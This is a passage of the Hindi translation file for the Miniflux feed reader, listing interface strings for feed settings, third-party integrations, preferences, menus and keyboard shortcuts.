एक पासवर्ड परिभाषित करना होगा अन्यथा आप फिर से लॉगिन नहीं कर पाएंगे।\",\n    \"error.user_already_exists\": \"यह उपयोगकर्ता पहले से ही मौजूद है।\",\n    \"error.user_mandatory_fields\": \"उपयोगकर्ता नाम अनिवार्य है।\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token और Organization Slug आवश्यक हैं\",\n    \"form.api_key.label.description\": \"एपीआई कुंजी लेबल\",\n    \"form.category.hide_globally\": \"वैश्विक अपठित सूची में प्रविष्टियां छिपाएं\",\n    \"form.category.label.title\": \"शीर्षक\",\n    \"form.feed.fieldset.general\": \"सामान्य\",\n    \"form.feed.fieldset.integration\": \"तृतीय-पक्ष सेवाएँ\",\n    \"form.feed.fieldset.network_settings\": \"नेटवर्क सेटिंग्स\",\n    \"form.feed.fieldset.rules\": \"नियम\",\n    \"form.feed.label.allow_self_signed_certificates\": \"स्व-हस्ताक्षरित या अमान्य प्रमाणपत्रों की अनुमति दें\",\n    \"form.feed.label.apprise_service_urls\": \"Apprise सेवा URL की कॉमा से अलग सूची\",\n    \"form.feed.label.block_filter_entry_rules\": \"प्रविष्टि अवरोधन नियम\",\n    \"form.feed.label.blocklist_rules\": \"रेगेक्स-आधारित अवरोधन फिल्टर\",\n    \"form.feed.label.category\": \"श्रेणी\",\n    \"form.feed.label.cookie\": \"कुकीज़ सेट करें\",\n    \"form.feed.label.crawler\": \"मूल सामग्री प्राप्त करें\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"विवरण\",\n    \"form.feed.label.disable_http2\": \"फिंगरप्रिंटिंग से बचने के लिए HTTP/2 अक्षम करें\",\n    \"form.feed.label.disabled\": \"इस फ़ीड को रीफ़्रेश न करें\",\n    \"form.feed.label.feed_password\": \"फ़ीड पासवर्ड\",\n    \"form.feed.label.feed_url\": \"फ़ीड यूआरएल\",\n    \"form.feed.label.feed_username\": \"फ़ीड उपयोगकर्ता नाम\",\n    \"form.feed.label.fetch_via_proxy\": \"एप्लिकेशन स्तर पर कॉन्फ़िगर किए गए प्रॉक्सी का उपयोग करें\",\n    \"form.feed.label.hide_globally\": \"वैश्विक अपठित सूची में प्रविष्टियां छिपाएं\",\n    \"form.feed.label.ignore_http_cache\": \"एचटीटीपी कैश पर ध्यान न दें\",\n    \"form.feed.label.keep_filter_entry_rules\": \"प्रविष्टि अनुमति नियम\",\n    \"form.feed.label.keeplist_rules\": \"रेगेक्स-आधारित रखने वाले फिल्टर\",\n    \"form.feed.label.no_media_player\": \"कोई मीडिया प्लेयर नहीं (ऑडियो/वीडियो)\",\n    \"form.feed.label.ntfy_activate\": \"प्रविष्टियाँ ntfy पर भेजें\",\n    \"form.feed.label.ntfy_default_priority\": \"Ntfy डिफ़ॉल्ट प्राथमिकता\",\n    \"form.feed.label.ntfy_high_priority\": \"Ntfy उच्च प्राथमिकता\",\n    \"form.feed.label.ntfy_low_priority\": \"Ntfy निम्न प्राथमिकता\",\n    \"form.feed.label.ntfy_max_priority\": \"Ntfy अधिकतम प्राथमिकता\",\n    \"form.feed.label.ntfy_min_priority\": \"Ntfy न्यूनतम प्राथमिकता\",\n    \"form.feed.label.ntfy_priority\": \"Ntfy प्राथमिकता\",\n    \"form.feed.label.ntfy_topic\": \"Ntfy विषय (वैकल्पिक)\",\n    \"form.feed.label.proxy_url\": \"प्रॉक्सी URL\",\n    \"form.feed.label.pushover_activate\": \"प्रविष्टियाँ pushover.net पर भेजें\",\n    \"form.feed.label.pushover_default_priority\": \"Pushover डिफ़ॉल्ट प्राथमिकता\",\n    \"form.feed.label.pushover_high_priority\": \"Pushover उच्च प्राथमिकता\",\n    \"form.feed.label.pushover_low_priority\": \"Pushover निम्न प्राथमिकता\",\n    \"form.feed.label.pushover_max_priority\": \"Pushover अधिकतम प्राथमिकता\",\n    \"form.feed.label.pushover_min_priority\": \"Pushover न्यूनतम प्राथमिकता\",\n    \"form.feed.label.pushover_priority\": \"Pushover संदेश प्राथमिकता\",\n    \"form.feed.label.rewrite_rules\": \"सामग्री पुनर्लेखन नियम\",\n    \"form.feed.label.scraper_rules\": \"खुरचनी नियम\",\n    \"form.feed.label.site_url\": \"साइट यूआरएल\",\n    \"form.feed.label.title\": \"शीर्षक\",\n    \"form.feed.label.urlrewrite_rules\": \" यूआरएल पुनर्लेखन नियम\",\n    \"form.feed.label.user_agent\": \"डिफ़ॉल्ट उपयोगकर्ता एजेंट को ओवरराइड करें\",\n    \"form.feed.label.webhook_url\": \"वेबहुक URL को अधिलेखित करें\",\n    \"form.import.label.file\": \"ओपीएमएल फ़ाइल\",\n    \"form.import.label.url\": \"यूआरएल\",\n    \"form.integration.archiveorg_activate\": \"प्रविष्टियों को archive.org पर भेजें\",\n    \"form.integration.apprise_activate\": \"प्रविष्टियाँ Apprise पर भेजें\",\n    \"form.integration.apprise_services_url\": \"Apprise सेवा URLs की कॉमा से पृथक सूची\",\n    \"form.integration.apprise_url\": \"Apprise API यूआरएल\",\n    \"form.integration.betula_activate\": \"प्रविष्टियाँ Betula में सहेजें\",\n    \"form.integration.betula_token\": \"Betula टोकन\",\n    \"form.integration.betula_url\": \"Betula सर्वर URL\",\n    \"form.integration.cubox_activate\": \"प्रविष्टियाँ Cubox में सहेजें\",\n    \"form.integration.cubox_api_link\": \"Cubox API लिंक\",\n    \"form.integration.discord_activate\": \"प्रविष्टियाँ Discord पर भेजें\",\n    \"form.integration.discord_webhook_link\": \"Discord वेबहुक लिंक\",\n    \"form.integration.espial_activate\": \"विषय-वस्तु को जासूसी में सहेजें\",\n    \"form.integration.espial_api_key\": \"जासूसी एपीआई कुंजी\",\n    \"form.integration.espial_endpoint\": \"जासूसी एपीआई समापन बिंदु\",\n    \"form.integration.espial_tags\": \"जासूसी टैग\",\n    \"form.integration.fever_activate\": \"फीवर एपीआई सक्रिय करें\",\n    \"form.integration.fever_endpoint\": \"फीवर एपीआई समापन बिंदु:\",\n    \"form.integration.fever_password\": \"फीवर पासवर्ड\",\n    \"form.integration.fever_username\": \"फीवर उपयोगकर्ता नाम\",\n    \"form.integration.googlereader_activate\": \"गूगल रीडर एपीआई सक्रिय करें\",\n    \"form.integration.googlereader_endpoint\": \"गूगल रीडर एपीआई समापन बिंदु:\",\n    \"form.integration.googlereader_password\": \"गूगल रीडर पासवर्ड\",\n    \"form.integration.googlereader_username\": \"गूगल रीडर उपयोगकर्ता नाम\",\n    \"form.integration.instapaper_activate\": \"विषय-वस्तु को इंस्टापेपर में सहेजें\",\n    \"form.integration.instapaper_password\": \"इंस्टापेपर पासवर्ड\",\n    \"form.integration.instapaper_username\": \"इंस्टापेपर यूजरनेम\",\n    \"form.integration.karakeep_activate\": \"प्रविष्टियाँ Karakeep में सहेजें\",\n    \"form.integration.karakeep_api_key\": \"Karakeep API कुंजी\",\n    \"form.integration.karakeep_url\": \"Karakeep API समापन बिंदु\",\n    \"form.integration.karakeep_tags\": \"Karakeep लेबल\",\n    \"form.integration.linkace_activate\": \"प्रविष्टियाँ LinkAce में सहेजें\",\n    \"form.integration.linkace_api_key\": \"LinkAce API कुंजी\",\n    \"form.integration.linkace_check_disabled\": \"लिंक जांच अक्षम करें\",\n    \"form.integration.linkace_endpoint\": \"LinkAce API समापन बिंदु\",\n    \"form.integration.linkace_is_private\": \"लिंक को निजी चिह्नित करें\",\n    \"form.integration.linkace_tags\": \"LinkAce टैग\",\n    \"form.integration.linkding_activate\": \"लिंक्डिन में विषयवस्तु सहेजें\",\n    \"form.integration.linkding_api_key\": \"लिंकिंग एपीआई कुंजी\",\n    \"form.integration.linkding_bookmark\": \"बुकमार्क को अपठित के रूप में चिह्नित करें\",\n    \"form.integration.linkding_endpoint\": \"लिंकिंग एपीआई समापन बिंदु\",\n    \"form.integration.linkding_tags\": \"Linkding टैग\",\n    \"form.integration.linktaco_activate\": \"LinkTaco में प्रविष्टियाँ सहेजें\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API टोकन\",\n    \"form.integration.linktaco_api_token_hint\": \"अपना व्यक्तिगत पहुँच टोकन प्राप्त करें\",\n    \"form.integration.linktaco_org_slug\": \"संगठन स्लग\",\n    \"form.integration.linktaco_tags\": \"टैग (अधिकतम 10, कॉमा से अलग किए गए)\",\n    \"form.integration.linktaco_tags_hint\": \"अधिकतम 10 टैग, कॉमा से अलग किए गए\",\n    \"form.integration.linktaco_visibility\": \"दृश्यता\",\n    \"form.integration.linktaco_visibility_public\": \"सार्वजनिक\",\n    \"form.integration.linktaco_visibility_private\": \"निजी\",\n    \"form.integration.linktaco_visibility_hint\": \"निजी दृश्यता के लिए भुगतान LinkTaco खाता आवश्यक है\",\n    \"form.integration.linkwarden_activate\": \"प्रविष्टियाँ Linkwarden में सहेजें\",\n    \"form.integration.linkwarden_api_key\": \"Linkwarden API कुंजी\",\n    \"form.integration.linkwarden_endpoint\": \"Linkwarden बेस URL\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden संग्रह ID\",\n    \"form.integration.matrix_bot_activate\": \"नए लेखों को मैट्रिक्स में स्थानांतरित करें\",\n    \"form.integration.matrix_bot_chat_id\": \"मैट्रिक्स रूम की आईडी\",\n    \"form.integration.matrix_bot_password\": \"मैट्रिक्स उपयोगकर्ता के लिए पासवर्ड\",\n    \"form.integration.matrix_bot_url\": \"मैट्रिक्स सर्वर URL\",\n    \"form.integration.matrix_bot_user\": \"मैट्रिक्स के लिए उपयोगकर्ता नाम\",\n    \"form.integration.notion_activate\": \"प्रविष्टियाँ Notion में सहेजें\",\n    \"form.integration.notion_page_id\": \"Notion पेज ID\",\n    \"form.integration.notion_token\": \"Notion गुप्त टोकन\",\n    \"form.integration.ntfy_activate\": \"प्रविष्टियाँ ntfy पर भेजें\",\n    \"form.integration.ntfy_api_token\": \"Ntfy API टोकन (वैकल्पिक)\",\n    \"form.integration.ntfy_icon_url\": \"Ntfy आइकन URL (वैकल्पिक)\",\n    \"form.integration.ntfy_internal_links\": \"क्लिक पर आंतरिक लिंक इस्तेमाल करें (वैकल्पिक)\",\n    \"form.integration.ntfy_password\": \"Ntfy पासवर्ड (वैकल्पिक)\",\n    \"form.integration.ntfy_topic\": \"Ntfy विषय (यदि फ़ीड में नहीं सेट है तो डिफ़ॉल्ट)\",\n    \"form.integration.ntfy_url\": \"Ntfy URL (वैकल्पिक, डिफ़ॉल्ट ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Ntfy उपयोगकर्ता नाम (वैकल्पिक)\",\n    \"form.integration.nunux_keeper_activate\": \"विषय-वस्तु को ननक्स कीपर में सहेजें\",\n    \"form.integration.nunux_keeper_api_key\": \"ननक्स कीपर एपीआई कुंजी\",\n    \"form.integration.nunux_keeper_endpoint\": \"ननक्स कीपर एपीआई समापन बिंदु\",\n    \"form.integration.omnivore_activate\": \"प्रविष्टियाँ Omnivore में सहेजें\",\n    \"form.integration.omnivore_api_key\": \"Omnivore API कुंजी\",\n    \"form.integration.omnivore_url\": \"Omnivore API समापन बिंदु\",\n    \"form.integration.pinboard_activate\": \"सहेजें विषयवस्तु प्रति का बोर्ड \",\n    \"form.integration.pinboard_bookmark\": \"बुकमार्क को अपठित के रूप में चिह्नित करें\",\n    \"form.integration.pinboard_tags\": \"पिनबोर्ड टैग\",\n    \"form.integration.pinboard_token\": \"पिनबोर्ड एपीआई टोकन\",\n    \"form.integration.pushover_activate\": \"प्रविष्टियाँ Pushover पर भेजें\",\n    \"form.integration.pushover_device\": \"Pushover डिवाइस (वैकल्पिक)\",\n    \"form.integration.pushover_prefix\": \"Pushover URL उपसर्ग (वैकल्पिक)\",\n    \"form.integration.pushover_token\": \"Pushover ऐप्लिकेशन API टोकन\",\n    \"form.integration.pushover_user\": \"Pushover उपयोगकर्ता कुंजी\",\n    \"form.integration.raindrop_activate\": \"प्रविष्टियाँ Raindrop में सहेजें\",\n    \"form.integration.raindrop_collection_id\": \"संग्रह ID\",\n    \"form.integration.raindrop_tags\": \"टैग (कॉमा से अलग)\",\n    \"form.integration.raindrop_token\": \"(टेस्ट) टोकन\",\n    \"form.integration.readeck_activate\": \"Readeck में विषयवस्तु सहेजें\",\n    \"form.integration.readeck_api_key\": \"Readeck एपीआई कुंजी\",\n    \"form.integration.readeck_endpoint\": \"Readeck यूआरएल\",\n    \"form.integration.readeck_labels\": \"Readeck लेबल\",\n    \"form.integration.readeck_only_url\": \"केवल URL भेजें (पूर्ण सामग्री के बजाय)\",\n    \"form.integration.readeck_push_activate\": \"नई प्रविष्टियाँ स्वतः Readeck पर भेजें\",\n    \"form.integration.readwise_activate\": \"प्रविष्टियाँ Readwise Reader में सहेजें\",\n    \"form.integration.readwise_api_key\": \"Readwise Reader एक्सेस टोकन\",\n    \"form.integration.readwise_api_key_link\": \"अपना Readwise एक्सेस टोकन प्राप्त करें\",\n    \"form.integration.rssbridge_activate\": \"सदस्यता जोड़ते समय RSS-Bridge जांचें\",\n    \"form.integration.rssbridge_token\": \"RSS-Bridge प्रमाणीकरण टोकन\",\n    \"form.integration.rssbridge_url\": \"RSS-Bridge सर्वर URL\",\n    \"form.integration.shaarli_activate\": \"लेखों को Shaarli में सहेजें\",\n    \"form.integration.shaarli_api_secret\": \"Shaarli API रहस्य\",\n    \"form.integration.shaarli_endpoint\": \"Shaarli यूआरएल\",\n    \"form.integration.shiori_activate\": \"लेखों को Shiori में सहेजें\",\n    \"form.integration.shiori_endpoint\": \"Shiori API समापन बिंदु\",\n    \"form.integration.shiori_password\": \"Shiori पासवर्ड\",\n    \"form.integration.shiori_username\": \"Shiori उपयोगकर्ता नाम\",\n    \"form.integration.slack_activate\": \"प्रविष्टियाँ Slack पर भेजें\",\n    \"form.integration.slack_webhook_link\": \"Slack वेबहुक लिंक\",\n    \"form.integration.telegram_bot_activate\": \"टेलीग्राम चैट के लिए नई विषय-कविता पुश करें\",\n    \"form.integration.telegram_bot_disable_buttons\": \"बटन अक्षम करें\",\n    \"form.integration.telegram_bot_disable_notification\": \"सूचनाएँ अक्षम करें\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"वेब पृष्ठ पूर्वावलोकन अक्षम करें\",\n    \"form.integration.telegram_bot_token\": \"बॉट टोकन\",\n    \"form.integration.telegram_chat_id\": \"चैट आईडी\",\n    \"form.integration.telegram_topic_id\": \"टॉपिक ID\",\n    \"form.integration.wallabag_activate\": \"विषय सहेजें वालाबाग में \",\n    \"form.integration.wallabag_client_id\": \"वालाबैग क्लाइंट आईडी\",\n    \"form.integration.wallabag_client_secret\": \"वालाबैग क्लाइंट सीक्रेट\",\n    \"form.integration.wallabag_endpoint\": \"वल्लाबैग बेस यूआरएल\",\n    \"form.integration.wallabag_only_url\": \"केवल URL भेजें (पूर्ण सामग्री के बजाय)\",\n    \"form.integration.wallabag_password\": \"वालाबैग पासवर्ड\",\n    \"form.integration.wallabag_username\": \"वालाबैग उपयोगकर्ता नाम\",\n    \"form.integration.wallabag_tags\": \"Wallabag टैग\",\n    \"form.integration.webhook_activate\": \"वेबहुक सक्षम करें\",\n    \"form.integration.webhook_secret\": \"वेबहुक रहस्य\",\n    \"form.integration.webhook_url\": \"डिफ़ॉल्ट वेबहुक URL\",\n    \"form.prefs.fieldset.application_settings\": \"एप्लिकेशन सेटिंग्स\",\n    \"form.prefs.fieldset.authentication_settings\": \"प्रमाणीकरण सेटिंग्स\",\n    \"form.prefs.fieldset.global_feed_settings\": \"वैश्विक फ़ीड सेटिंग्स\",\n    \"form.prefs.fieldset.reader_settings\": \"रीडर सेटिंग्स\",\n    \"form.prefs.help.external_font_hosts\": \"अनुमति प्राप्त बाहरी फ़ॉन्ट होस्ट की सूची (स्पेस से पृथक). उदाहरण: \\\"fonts.gstatic.com fonts.googleapis.com\\\".\",\n    \"form.prefs.label.always_open_external_links\": \"बाहरी लिंक खोलकर लेख पढ़ें\",\n    \"form.prefs.label.categories_sorting_order\": \"श्रेणियाँ छँटाई\",\n    \"form.prefs.label.cjk_reading_speed\": \"चीनी, कोरियाई और जापानी के लिए पढ़ने की गति (प्रति मिनट वर्ण)\",\n    \"form.prefs.label.custom_css\": \"कस्टम सीएसएस\",\n    \"form.prefs.label.custom_js\": \"कस्टम जेएस\",\n    \"form.prefs.label.default_home_page\": \"डिफ़ॉल्ट होमपेज़\",\n    \"form.prefs.label.default_reading_speed\": \"अन्य भाषाओं के लिए पढ़ने की गति (प्रति मिनट शब्द)\",\n    \"form.prefs.label.display_mode\": \"प्रोग्रेसिव वेब ऐप (PWA) डिस्प्ले मोड\",\n    \"form.prefs.label.entries_per_page\": \"प्रति पृष्ठ प्रविष्टियाँ\",\n    \"form.prefs.label.entry_order\": \"प्रवेश छँटाई कॉलम\",\n    \"form.prefs.label.entry_sorting\": \"प्रवेश छँटाई\",\n    \"form.prefs.label.entry_swipe\": \"टच स्क्रीन पर एंट्री स्वाइप सक्षम करें\",\n    \"form.prefs.label.external_font_hosts\": \"बाहरी फ़ॉन्ट होस्ट\",\n    \"form.prefs.label.gesture_nav\": \"प्रविष्टियों के बीच नेविगेट करने के लिए इशारा\",\n    \"form.prefs.label.keyboard_shortcuts\": \"कीबोर्ड शॉर्टकट सक्षम करें\",\n    \"form.prefs.label.language\": \"भाषाओं\",\n    \"form.prefs.label.mark_read_manually\": \"प्रविष्टियों को मैन्युअल रूप से पढ़ा हुआ चिह्नित करें\",\n    \"form.prefs.label.mark_read_on_media_completion\": \"केवल तब पढ़ा हुआ चिह्नित करें जब ऑडियो/वीडियो का 90%% चल चुका हो\",\n    \"form.prefs.label.mark_read_on_view\": \"देखे जाने पर स्वचालित रूप से प्रविष्टियों को पढ़ने के रूप में चिह्नित करें\",\n    \"form.prefs.label.mark_read_on_view_or_media_completion\": \"देखने पर पढ़ा हुआ चिह्नित करें; ऑडियो/वीडियो 90%% पर पढ़ा हुआ करें\",\n    \"form.prefs.label.media_playback_rate\": \"ऑडियो/वीडियो की प्लेबैक गति\",\n    \"form.prefs.label.open_external_links_in_new_tab\": \"बाहरी लिंक को एक नए टैब में खोलें (लिंक में target=\\\"_blank\\\" जोड़ता है)\",\n    \"form.prefs.label.show_reading_time\": \"विषय के लिए अनुमानित पढ़ने का समय दिखाएं\",\n    \"form.prefs.label.theme\": \"थीम\",\n    \"form.prefs.label.timezone\": \"समय क्षेत्र\",\n    \"form.prefs.select.alphabetical\": \"वर्णक्रम\",\n    \"form.prefs.select.browser\": \"ब्राउज़र\",\n    \"form.prefs.select.created_time\": \"प्रवेश बनाया समय\",\n    \"form.prefs.select.fullscreen\": \"पूर्ण स्क्रीन\",\n    \"form.prefs.select.minimal_ui\": \"कम से कम\",\n    \"form.prefs.select.none\": \"कोई नहीं\",\n    \"form.prefs.select.older_first\": \"पहले पुरानी प्रविष्टियाँ\",\n    \"form.prefs.select.publish_time\": \"प्रवेश प्रकाशित समय\",\n    \"form.prefs.select.recent_first\": \"हाल की प्रविष्टियाँ पहले\",\n    \"form.prefs.select.standalone\": \"स्टैंडअलोन\",\n    \"form.prefs.select.swipe\": \"कड़ी चोट\",\n    \"form.prefs.select.tap\": \"दो बार टैप\",\n    \"form.prefs.select.unread_count\": \"अपठित गणना\",\n    \"form.submit.loading\": \"लोड हो रहा है...\",\n    \"form.submit.saving\": \"सहेजा जा रहा है...\",\n    \"form.user.label.admin\": \"प्रशासक\",\n    \"form.user.label.confirmation\": \"पासवर्ड पुष्टि\",\n    \"form.user.label.password\": \"पासवर्ड\",\n    \"form.user.label.username\": \"उपयोगकर्ता नाम\",\n    \"menu.about\": \"के बारे में\",\n    \"menu.add_feed\": \"सदस्यता जोरीय\",\n    \"menu.add_user\": \"उपयोगकर्ता जोड़ें\",\n    \"menu.api_keys\": \"एपीआई कुंजी\",\n    \"menu.categories\": \"श्रेणियाँ\",\n    \"menu.create_api_key\": \"नई एपीआई कुंजी बनाएं\",\n    \"menu.create_category\": \"श्रेणी बनाए\",\n    \"menu.edit_category\": \"श्रेणी संपाद करे\",\n    \"menu.edit_feed\": \"फ़ीड संपाद करे\",\n    \"menu.export\": \"निर्यात करे\",\n    \"menu.feed_entries\": \"प्रविष्टियाँ\",\n    \"menu.feeds\": \"फ़ीड\",\n    \"menu.flush_history\": \"इतिहास मिटाएँ\",\n    \"menu.history\": \"इतिहास\",\n    \"menu.home_page\": \"मुखपृष्ठ\",\n    \"menu.import\": \"आयात करे\",\n    \"menu.integrations\": \"एकीकरण\",\n    \"menu.logout\": \"लॉग आउट\",\n    \"menu.mark_all_as_read\": \"सभी को पढ़ा हुआ मार्क करें\",\n    \"menu.mark_page_as_read\": \"इस पृष्ठ को पढ़ा हुआ चिह्नित करें\",\n    \"menu.preferences\": \"पसंद\",\n    \"menu.refresh_all_feeds\": \"पृष्ठभूमि में सभी फ़ीड को ताज़ा करें\",\n    \"menu.refresh_feed\": \"ताज़ा करें\",\n    \"menu.search\": \"खोज\",\n    \"menu.sessions\": \"सत्र\",\n    \"menu.settings\": \"समायोजन\",\n    \"menu.shared_entries\": \"साझा प्रविष्टियां\",\n    \"menu.show_all_entries\": \"सभी प्रविष्टियाँ दिखाए\",\n    \"menu.show_only_starred_entries\": \"केवल पसंदीदा प्रविष्टियाँ दिखाएं\",\n    \"menu.show_only_unread_entries\": \"सभी अपठित प्रविष्टियाँ दिखाए\",\n    \"menu.starred\": \"तारांकित\",\n    \"menu.title\": \"मेनू\",\n    \"menu.unread\": \"अपठित\",\n    \"menu.users\": \"उपयोगकर्ताओं\",\n    \"page.about.author\": \"रचयिता:\",\n    \"page.about.build_date\": \"बनाने की तिथि:\",\n    \"page.about.credits\": \"आभार सूची\",\n    \"page.about.db_usage\": \"डेटाबेस आकार:\",\n    \"page.about.git_commit\": \"Git कमिट:\",\n    \"page.about.global_config_options\": \"वैश्विक विन्यास विकल्प\",\n    \"page.about.go_version\": \"गो संस्करण:\",\n    \"page.about.license\": \"अनुज्ञा:\",\n    \"page.about.postgres_version\": \"पोस्तग्राइस संस्करण:\",\n    \"page.about.title\": \"पृष्ठ के बारे में\",\n    \"page.about.version\": \"संस्करण:\",\n    \"page.add_feed.choose_feed\": \"एक सदस्यता का चयन करे\",\n    \"page.add_feed.label.url\": \"यूआरएल\",\n    \"page.add_feed.legend.advanced_options\": \"उन्नत विकल्प\",\n    \"page.add_feed.no_category\": \"कोई श्रेणी नहीं है। एक श्रेणी अव्यशाक है।\",\n    \"page.add_feed.submit\": \"सदस्यता खोजे\",\n    \"page.add_feed.title\": \"नया सदस्यता\",\n    \"page.api_keys.never_used\": \"कभी प्रयोग नहीं हुआ\",\n    \"page.api_keys.table.actions\": \"कार्रवाई\",\n    \"page.api_keys.table.created_at\": \"निर्माण तिथि\",\n    \"page.api_keys.table.description\": \"विवरण\",\n    \"page.api_keys.table.last_used_at\": \"आखरी इस्त्तमाल किया गया\",\n    \"page.api_keys.table.token\": \"टोकन\",\n    \"page.api_keys.title\": \"एपीआई कुंजी\",\n    \"page.categories.entries\": \"विषयवस्तुया\",\n    \"page.categories.feed_count\": [\n        \"%d फ़ीड बाकी है।\",\n        \"%d फ़ीड बाकी है।\"\n    ],\n    \"page.categories.feeds\": \"सदस्यता ले\",\n    \"page.categories.no_feed\": \"कोई फ़ीड नहीं है।\",\n    \"page.categories.title\": \"श्रेणियाँ\",\n    \"page.categories_count\": [\n        \"%d श्रेणी\",\n        \"%d श्रेणियाँ\"\n    ],\n    \"page.category_label\": \"श्रेणी: %s\",\n    \"page.edit_category.title\": \"%s श्रेणी संपाद करे\",\n    \"page.edit_feed.etag_header\": \"ईटाग हैडर:\",\n    \"page.edit_feed.last_check\": \"अंतिम जांच:\",\n    \"page.edit_feed.last_modified_header\": \"अंतिम बार संशोधित हैडर:\",\n    \"page.edit_feed.last_parsing_error\": \"अंतिम पार्सिंग त्रुटि\",\n    \"page.edit_feed.no_header\": \"कोई भी नहीं\",\n    \"page.edit_feed.title\": \"%s फ़ीड संपाद करे\",\n    \"page.edit_user.title\": \"%s उपभोक्ता संपाद करे\",\n    \"page.entry.attachments\": \"संलग्नक\",\n    \"page.feeds.error_count\": [\n        \"%d समस्या\",\n        \"%d समस्याए\"\n    ],\n    \"page.feeds.last_check\": \"आखरी जाँच\",\n    \"page.feeds.next_check\": \"अगली जाँच:\",\n    \"page.feeds.read_counter\": \"पड़े हुए विषयवस्तुया\",\n    \"page.feeds.title\": \"फ़ीड\",\n    \"page.footer.elevator\": \"ऊपर जाएँ\",\n    \"page.history.title\": \"इतिहास\",\n    \"page.import.title\": \"आयात\",\n    \"page.integration.bookmarklet\": \"बुकमार्कलेट\",\n    \"page.integration.bookmarklet.help\": \"यह विशेष लिंक आपको अपने वेब ब्राउज़र में बुकमार्क का उपयोग करके सीधे वेबसाइट की सदस्यता लेने की अनुमति देता है।\",\n    \"page.integration.bookmarklet.instructions\": \"इस लिंक को खींचकर अपने बुकमार्क पर छोड़ दें।\",\n    \"page.integration.bookmarklet.name\": \"मिनीफ्लक्स में जोड़ें\",\n    \"page.integration.miniflux_api\": \"मिनिफलक्ष एपीआई\",\n    \"page.integration.miniflux_api_endpoint\": \"एपीआई समापन बिंदु\",\n    \"page.integration.miniflux_api_password\": \"पासवर्ड\",\n    \"page.integration.miniflux_api_password_value\": \"आपका खाता पासवर्ड\",\n    \"page.integration.miniflux_api_username\": \"यूसर्नेम\",\n    \"page.integrations.title\": \"एकीकरण\",\n    \"page.keyboard_shortcuts.close_modal\": \"मोडल डायलॉग बंद करें\",\n    \"page.keyboard_shortcuts.download_content\": \"मूल सामग्री डाउनलोड करें\",\n    \"page.keyboard_shortcuts.go_to_bottom_item\": \"निचले आइटम पर जाएँ\",\n    \"page.keyboard_shortcuts.go_to_categories\": \"श्रेणि पर जाएं\",\n    \"page.keyboard_shortcuts.go_to_feed\": \"फ़ीड पर जाएं\",\n    \"page.keyboard_shortcuts.go_to_feeds\": \"फ़ीड पर जाएं\",\n    \"page.keyboard_shortcuts.go_to_history\": \"इतिहास पर जाएं\",\n    \"page.keyboard_shortcuts.go_to_next_item\": \"अगले आइटम पर जाएं\",\n    \"page.keyboard_shortcuts.go_to_next_page\": \"अगले पेज पर जाएं\",\n    \"page.keyboard_shortcuts.go_to_previous_item\": \"पिछले आइटम पर जाएं\",\n    \"page.keyboard_shortcuts.go_to_previous_page\": \"पिछले पृष्ठ पर जाएं\",\n    \"page.keyboard_shortcuts.go_to_search\": \"सर्च फॉर्म पर फोकस सेट करें\",\n    \"page.keyboard_shortcuts.go_to_settings\": \"सेटिंग्स में जाओ\",\n    \"page.keyboard_shortcuts.go_to_starred\": \"बुकमार्क पर जाएं\",\n    \"page.keyboard_shortcuts.go_to_top_item\": \"शीर्ष आइटम पर जाएँ\",\n    \"page.keyboard_shortcuts.go_to_unread\": \"अपठित पर जाएं\",\n    \"page.keyboard_shortcuts.mark_page_as_read\": \"मौजूदा पेज को पढ़ा हुआ चिह्नित करें\",\n    \"page.keyboard_shortcuts.open_comments\": \"टिप्पणी लिंक खोलें\",\n    \"page.keyboard_shortcuts.open_comments_same_window\": \"मौजूदा टैब में टिप्पणी लिंक खोलें\",\n    \"page.keyboard_shortcuts.open_item\": \"चयनित आइटम खोलें\",\n    \"page.keyboard_shortcuts.open_original\": \"मूल लिंक खोलें\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"वर्तमान टैब में मूल लिंक खोलें\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"बैकग्राउंड में सभी फ़ीड्स रीफ़्रेश करें\",\n    \"page.keyboard_shortcuts.remove_feed\": \"यह फ़ीड हटाएं\",\n    \"page.keyboard_shortcuts.save_article\": \"विषयवस्तु सहेजें\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"आइटम को ऊपर तक स्क्रॉल करें\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"कीबोर्ड शॉर्टकट दिखाएं\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"कार्रवाई\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"आइटम नेविगेशन\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"पेज नेविगेशन\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"अनुभाग नेविगेशन\",\n    \"page.keyboard_shortcuts.title\": \"कुंजीपटल अल्प मार्ग\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"बुकमार्क टॉगल करें\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"प्रविष्टि संलग्नक खोलें/बंद करें\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"पढ़ें/अपठित टॉगल करें, अगला फ़ोकस करें\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"पढ़ें/अपठित टॉगल करें, पिछला फ़ोकस करें\",\n    \"page.login.google_signin\": \"गूगल के साथ साइन इन करें\",\n    \"page.login.oidc_signin\": \"ओपन-ईद के साथ साइन इन करें (%s)\",\n    \"page.login.title\": \"साइन इन करें\",\n    \"page.login.webauthn_login\": \"पासकी से लॉगिन करें\",\n    \"page.login.webauthn_login.error\": \"पासकी से लॉगिन करने में असमर्थ\",\n    \"page.login.webauthn_login.help\": \"यदि आप सुरक्षा कुंजी का उपयोग कर रहे हैं तो कृपया अपना उपयोगकर्ता नाम दर्ज करें। पासकी (discoverable credentials) के लिए यह आवश्यक नहीं है।\",\n    \"page.new_api_key.title\": \"नई एपीआई कुंजी\",\n    \"page.new_category.title\": \"नया श्रेणी\",\n    \"page.new_user.title\": \"नया उपभोक्ता\",\n    \"page.offline.message\": \"आप संपर्क में नहीं हैं\",\n    \"page.offline.refresh_page\": \"पृष्ठ को ताज़ा करने का प्रयास करें\",\n    \"page.offline.title\": \"ऑफ़लाइन मोड\",\n    \"page.read_entry_count\": [\n        \"%d पढ़ी गई 